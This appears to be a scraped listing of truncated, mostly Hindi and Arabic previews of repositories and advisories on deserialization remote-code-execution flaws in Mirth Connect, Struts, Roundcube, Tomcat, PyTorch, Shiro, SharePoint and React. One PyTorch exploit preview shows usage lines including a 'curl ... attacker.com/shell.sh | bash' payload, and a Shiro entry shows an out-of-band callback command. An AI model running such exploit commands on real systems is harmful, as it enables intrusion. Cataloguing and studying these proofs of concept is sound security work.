CVE-2023-43208-PoC

Mirth Connect RCE शोषण CVE-2023-43208 यह स्क्रिप्ट Mirth Connect संस्करण 4.4.1 से पहले में रिमोट कोड निष्पादन RCE भेद्यता के लिए एक अवधारणा प्रमाण PoC है। यह API के माध्यम से XStream डिसीरियलाइज़ेशन भेद्यता का शोषण करता है। आवश्यकताएँ Python 3.10 या उच्चतर 3.13 के साथ संगत। लक्ष्य के लिए नेटवर्क...

struts-s2-052-deserialization-rce-lab

Apache Struts S2-052 XML डिसीरियलाइज़ेशन RCE यह रिपॉजिटरी Apache Struts S2-052 CVE-2017-9805 के शोषण को दर्शाता है, जो दुर्भावनापूर्ण XML डिसीरियलाइज़ेशन का उपयोग करता है। यह शोषण INE eWPTX Practice Range – Struts XML Deserialization RCE lab को हल करते समय विकसित किया गया था। भेद्यता अवलोकन Apach...

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 — تنفيذ الأوامر عن بُعد بعد المصادقة عبر إلغاء تسلسل كائنات PHP في Roundcube نظرة عامة الحقل| التفاصيل ---|--- CVE| CVE-2025-49113 البرنامج| Roundcube Webmail الإصدارات المتأثرة| ≤ 1.6.10 نوع الثغرة| إلغاء تسلسل كائنات PHP → تنفيذ أوامر عن بُعد المصادقة| مطلوبة أي مستخدم صالح...

CVE-2025-24813

CVE-2025-24813 CVE-2025-24813 के लिए प्रूफ ऑफ कॉन्सेप्ट PoC स्क्रिप्ट, Apache Tomcat में एक भेद्यता। यह स्क्रिप्ट संबंधित लिंक के आधार पर संशोधित की गई है और मेरी आवश्यकताओं के अनुरूप बनाई गई है। कमजोर Tomcat वातावरण सेटअप करें यह आधिकारिक Tomcat 9.0.90 इमेज पर आधारित वातावरण प्रदान करता है। यह...

CVE-2025-32434-exploit

अवलोकन यह एक्सप्लॉइट PyTorch संस्करण /tmp/whoami" Test the exploit loads the model to verify RCE python3 exploit.py -c "id" -t Advanced exploit variant with alternative bypass python3 exploit.py --advanced -c "curl -s http://attacker.com/shell.sh | bash" -t Save to custom filename python3...

CVE-2016-4437

CVE-2016-4437 إثبات المفهوم بلغة Python لاستغلال ثغرة CVE-2016-4437 في Apache Shiro بسبب مفتاح تشفير مُضمن مثال استخدام: ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun انظر التعليقات والكود لمزيد من المعلومات...

CVE-2026-43976

creationtimestamp| type| source ---|---|--- 2026-10-04 17:38:27+00:00| published-proof-of-concept| https://github.com/wger-project/wger/security/advisories/GHSA-c72h-82w6-rqfp...

sharepoint-deserialization-security-assessment

CVE-2026-45659 - ثغرة RCE عبر إلغاء التسلسل في Microsoft SharePoint تقرير أمن سيبراني بأسلوب استشاري تقرير احترافي لتقييم ثغرة إلغاء التسلسل في SharePoint، ويتضمن ملخصًا تنفيذيًا، والأثر الفني، والمعالجة، واستراتيجية التخفيف. 📍 لمحة عن التقرير الحقل| التفاصيل ---|--- نوع التقرير| تقرير تقييم...

cve-2025-53770

CVE-2025-53770 SharePoint Deserialization RCE PoC Critical — Microsoft SharePoint Server में असुरक्षित डिसीरियलाइज़ेशन के माध्यम से बिना प्रमाणीकरण के रिमोट कोड निष्पादन CVE-2025-53770 विवरण ऑन-प्रिमाइसेस Microsoft SharePoint Server में अविश्वसनीय डेटा का डिसीरियलाइज़ेशन एक हमलावर को दूरस्थ रूप स...

Security Bulletin: Vulnerabilities found in jackson-databind , addressed in APIM

Summary jackson-databind is upgraded and vulnerabilities are addressed in APIM 11.1 Vulnerability Details CVEID:CVE-2026-54512 DESCRIPTION: jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and...

richfaces-vulnerability-cve-2018-12533-rf-14310

يوضح الثغرة الموجودة في RichFaces 3.3.4 لتنفيذ التعليمات البرمجية عن بُعد وكيفية التخفيف و/أو الحظر مثال على الهجوم استنساخ المستودع فك تشفير الحمولة إلغاء تسلسل فئة Java توليد حمولة لاختبار الثغرة كيفية التخفيف؟ إذا كنت تحتاج حقًا إلى هذا المسار إذا كنت لا تحتاج إلى هذا المسار فهم تدفق التنفيذ م...

Pickle-Deserialization-Exploit-in-Transformers

استغلال ثغرة إلغاء تسلسل pickle في Transformers مقدمة التجربة شرح آلية إلغاء تسلسل pickle ومبدأ هجوم reduce، وإعادة إنتاج ثغرة إلغاء التسلسل CVE-2024-3568 في مكتبة Hugging Face Transformers، وتحليل المخاطر الأمنية في مكتبة Transformers واقتراح حلول فعّالة لتعزيز الأمان. التفاصيل الكاملة موجودة في...

x-stream__xstream_CVE-2013-7285_1-4-6

XStream "Java से XML क्रमांकन, और वापस" -- बाइनरी ----------------------------------------------- सभी बाइनरी आर्टिफैक्ट 'lib' निर्देशिका में हैं। इनमें xstream जार और निर्माण समय पर उपयोग किए जाने वाले कोई अन्य लाइब्रेरी, या वैकल्पिक रनटाइम एक्स्ट्रा शामिल हैं। kXML2 का उपयोग अनुशंसित है क्योंकि...

CVE-2025-59287-Exercise-Use

CVE-2025-59287 — WSUS RCE غير مصادق عليه نصوص برمجية لتمارين الفريق الأرجواني لـ CVE-2025-59287، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في خدمات تحديث Windows Server WSUS. للاستخدام المصرح به فقط. للاستخدام في بيئات تمارين خاضعة للتحكم ضد أنظمة تملكها أو لديك إذن كتابي صريح...

CVE-2025-24813-Apache-Tomcat-RCE-PoC

CVE-2025-24813 PoC لاستغلال RCE في Apache Tomcat الوصف هذا هو إثبات الفكرة PoC لثغرة CVE-2025-24813، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد RCE في Apache Tomcat. تنشأ الثغرة من إلغاء تسلسل غير آمن لملفات الجلسات المُعدّة خصيصًا والتي يتم رفعها عبر طلبات HTTP PUT، مما يسمح للمهاجمين بتنفيذ تعليمات...

cve-2025-55182-react2shell-analysis

CVE-2025-55182 React2Shell — تحليل أمني نظرة عامة هذا المشروع هو تحليل تقني لـ CVE-2025-55182، وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE تم الكشف عنها في ديسمبر 2025. تؤثر الثغرة على مكونات خادم React وتسمح للمهاجمين بتنفيذ تعليمات برمجية عشوائية عبر طلبات HTTP مصممة خصيصًا. عرض الفيد...

cve-2025-55182-poc

CVE-2025-55182 React2Shell مختبر تحليل الثغرة الأمنية يحتوي هذا المستودع على بيئة كاملة لتحليل وإعادة إنتاج CVE-2025-55182 ، وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد RCE في مكونات خادم React RSC التي تؤثر على React 19.x و Next.js 15.x. ⚠️ تحذير: يحتوي هذا المشروع عمدًا على تعليمات برمجية...

CVE-2020-0688

CVE-2020-0688 CVE-2020-0688Microsoft Exchange ثغرة إلغاء التسلسل الافتراضية لـ MachineKeySection تعليمات التثبيت: تنزيل باستخدام git يتطلب git: git clone https://github.com/7heKnight/CVE-2020-0688 تنزيل ملف Zip: https://github.com/7heKnight/CVE-2020-0688/archive/refs/heads/main.zip pip install...

CVE-2024-2044

PoC CVE-2024-2044: pgAdmin 4 Authenticated RCE Linux/POSIX يحتوي هذا المستودع على نص Proof of Concept PoC للثغرة CVE-2024-2044 ، وهي ثغرة حرجة تجمع بين Authenticated Path Traversal وUnsafe Deserialization في pgAdmin 4 الإصدار 8.3 وما دونه الذي يعمل في بيئة Linux/POSIX. !WARNING إخلاء المسؤولية: ت...

cotonti-commentswidget-poc

إثبات مفهوم حقن كائنات PHP في Cotonti CommentsWidget إثبات مفهوم محلي آمن لمسألة حقن كائنات PHP المُحدَّدة في تطبيق CommentsWidget الخاص بـ Cotonti. الثغرة المشروع: Cotonti المكوّن المتأثر: plugins/comments/inc/CommentsWidget.php CWE: CWE-502 — إلغاء تسلسل البيانات غير الموثوقة CVE/المرشح:...